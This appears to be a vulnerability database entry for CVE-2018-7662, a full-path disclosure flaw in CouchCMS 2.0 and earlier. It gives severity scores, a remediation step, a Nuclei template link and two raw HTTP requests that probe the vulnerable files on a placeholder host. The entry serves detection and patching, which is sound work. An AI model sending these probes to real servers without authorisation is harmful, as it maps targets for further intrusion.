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CVE-2018-7662: CouchCMS <= 2.0 - Path Disclosure

TitleCouchCMS <= 2.0 - Path Disclosure
Authorritikchaddha
SeverityMedium
ImpactAn attacker can exploit this vulnerability to gain knowledge of the server's directory structure, potentially aiding in further attacks.
RemediationUpgrade to the latest version of CouchCMS (2.1 or higher) to mitigate this vulnerability.
CVSS Score5.3
EPSS Score0.89626
CVE IDCVE-2018-7662
CWE IDCWE-200
Tags cve2018 cve couchcms fpd vuln

🔍 Vulnerability Description

CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php.

🌐 HTTP Request

GET /includes/mysql2i/mysql2i.func.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /addons/phpmailer/phpmailer.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7662.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7662.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A